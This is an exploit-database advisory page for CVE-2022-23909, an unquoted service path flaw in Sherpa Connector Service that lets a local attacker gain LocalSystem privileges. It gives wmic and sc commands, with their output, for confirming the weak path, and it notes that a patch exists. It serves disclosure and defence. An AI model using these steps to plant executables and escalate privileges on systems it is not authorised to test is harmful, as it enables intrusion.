Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path

vendor:

Sherpa Connector Service

by:

Manthan Chhabra, Harshit

7.8

CVSS

HIGH

Unquoted Service Path

428

CWE

Product Name: Sherpa Connector Service

Affected Version From: 2020.2.20328.2050

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2022-23909

CPE: a:gimmal:sherpa_connector_service:2020.2.20328.2050

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2022

Sherpa Connector Service v2020.2.20328.2050 – Unquoted Service Path

Unquoted service path vulnerability in Sherpa Connector Service v2020.2.20328.2050 allows an attacker to escalate privileges by placing a malicious executable in the path of the service.

Mitigation:

Vendor has released a patch to address this vulnerability. Update to the latest version of Sherpa Connector Service.

Source

Exploit-DB raw data:

# Exploit Title: Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path
# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)
# Version: 2020.2.20328.2050
# Date: 02/04/2022
# Vendor Homepage: http://gimmal.com/
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10
# CVE: CVE-2022-23909


# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode | findstr /i
"sherpa" | findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v
"""

Sherpa Connector Service
         Sherpa Connector Service                                C:\Program
Files\Sherpa Software\Sherpa Connector\SherpaConnectorService.exe
                                 Auto

C:\>sc qc "Sherpa Connector Service"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Sherpa Connector Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Sherpa Software\Sherpa
Connector\SherpaConnectorService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Sherpa Connector Service
        DEPENDENCIES       : wmiApSrv
        SERVICE_START_NAME : LocalSystem